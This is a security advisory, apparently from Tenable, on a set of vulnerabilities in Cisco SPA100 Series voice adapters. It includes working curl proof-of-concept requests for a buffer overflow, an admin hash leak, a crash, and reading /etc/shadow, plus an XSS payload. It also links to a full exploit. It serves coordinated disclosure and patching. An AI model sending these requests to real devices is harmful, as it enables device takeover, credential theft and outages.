Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Cisco SPA100 Series Multiple Vulnerabilities

Critical

Synopsis

Tenable discovered multiple vulnerabilities in Cisco SPA100 Series.

CVE-2019-15240 - CVE-2019-15252: Multiple Buffer Overflows (Remote Code Execution)

Multiple buffer overflow vulnerabilities (on the stack and heap) can be triggered via a crafted HTTP request. An authenticated attacker may exploit these to execute code remotely.

Proof of Concept

Note: This is just one way to trigger a buffer overflow.

curl -i -s -k -X $'POST' \
-H $'Host: 192.168.1.122' -H $'Content-Length: 188' -H $'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'\x0d\x0asubmit_button=Remote_access&submit_type=del_remote&change_action=gozila_cgi&remove_id=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A' \
$'http://192.168.1.122/apply.cgi;session_id=f48ce7c27d0f652fd031191450819cbe'

We have also published a full exploit to our GitHub PoC repo (https://github.com/tenable/poc/blob/master/cisco/spagett.py).

CVE-2019-12708: Submit Button Arbitrary ASP Page Render Administrator Hash Leak Privilege Escalation

By sending a POST request to apply.cgi with a submit_button value of 'User_Level', an authenticated attacker may reveal the admin password hashes. The admin hash will be in the body of the response, and this value can be used to elevate privileges.

Proof of Concept
curl -i -s -k -X $'POST' \
-H $'Host: 50.71.132.182' -H $'Content-Length: 49' -H $'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'submit_button=User_Level&change_action=gozila_cgi' \
$'http://50.71.132.182/apply.cgi;session_id=8bc7ff856b23540d2737e266b94640bd'

CVE-2019-15257: Configuration Backup Administrator Hash Leak Privilege Escalation

By performing an HTTP GET for /a.cfg, an encoded copy of the NVRAM configuration will be returned. This is trivial to decode and includes the admin hash and cisco hash which you can use to log in. An authenticated attacker could exploit this to escalate privileges.

CVE-2019-15258: Add Favorite Help Index Denial of Service

A authenticated request sent to apply.cgi with a value for 'help_page' but without a 'help_idx' will cause a crash. It causes a null pointer dereference in httpd. Device needs to be rebooted in order to get httpd running again.

Proof of Concept
curl -i -s -k -X $'POST' \
-H $'Host: 192.168.1.123' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 93' \
--data-binary $'submit_button=help/help&submit_type=fav_add&change_action=gozila_cgi&help_page=1' \
$'http://192.168.1.123/apply.cgi;session_id=a534c87e1fe5d0f49498cd9cbed1d4cd'

CVE-2019-12702: GUI Action Reflected Cross-Site Scripting

The apply.cgi 'gui_action' POST parameter value is not validated prior to reflecting its value in the browser. An authenticated attacker may exploit this to inject and execute malicious client-side JavaScript.

Proof of Concept
gui_action=--><script><img src=x onerror=alert(‘xss’)></script><!--

CVE-2019-12703: Stored Cross-Site Scripting via DHCP

The DHCP client (which runs on the SPA122’s “Internet” port, or the only port of the SPA112) accepts and displays the DHCP “domain-name” option in the Web UI without any escaping or validation, leading to XSS. A malicious DHCP server could use this to steal administrator credentials, if the administrator logs on and views the malicious DHCP server configuration, which includes Javascript in the domain-name parameter. The XSS is triggered by visiting Status > System Information page.

The SPA122’s DHCP server (SPA112 does not have this feature) will accept and display DHCP client hostnames in the Web UI, leading to XSS. An attacker could exploit this by sending a crafted DHCP client hostname. The XSS can be triggered by visiting Status > DHCP Server Information.

CVE-2019-12704: Next Page Arbitrary File Disclosure

The next_page parameter value can be crafted to reveal the contents of an arbitrary file path on disk. This may be exploited by an authenticated attacker.

Note: this can also be used to elevate privileges by reading /www/User_Level.asp.

Proof of Concept:
curl -i -s -k -X $'POST' \
-H $'Host: 192.168.1.122' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 81' \
--data-binary $'submit_button=hax&submit_type=hax&change_action=gozila_cgi&next_page=/etc/shadow' \
$'http://192.168.1.122/apply.cgi;session_id=73320cc2a9534cfeb0e6141f9ed52bb8'

Solution

Upgrade to Cisco SPA100 Series Firmware Release 1.4.1 SR5.

Disclosure Timeline

07/09/2019 - Tenable discloses 26 vulnerability to Cisco
07/12/2019 - Cisco acknowledges receipt of report
07/26/2019 - Cisco requests additional information to reproduce 18 of the vulnerabilities
08/19/2019 - Tenable provides additional details on 18 vulnerabilities and removes 2 from the disclosure
08/19/2019 - Cisco acknowledges receipt of additional details
08/29/2019 - Cisco sets a planned patch date of October 16
08/29/2019 - Cisco requests additional details on 2 vulnerabilities.
08/30/2019 - Tenable provides additional details on 2 vulnerabilities
10/01/2019 - Cisco provides CVEs for 19 vulnerabilities
10/16/2019 - Tenable publishes coordinated advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2019-44
Credit:
Andrew Orr
Alex Weber
CVSSv2 Base / Temporal Score:
9.0
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:C/I:C/A:C
Affected Products:
Cisco SPA100 Series
Risk Factor:
Critical
Additional Keywords:
CSCvq50494
CSCvq50520
CSCvq50523
CSCvq50529

Advisory Timeline

10/16/2019 - Advisory Released
10/16/2019 - Updated advisory content
10/16/2019 - Updated credit
10/16/2019 - Updated credit and title
10/30/2019 - Formatting
10/31/2019 - Updating details
11/08/2019 - Adding link to buffer overflow exploit
11/12/2019 - Updating solution due to patch release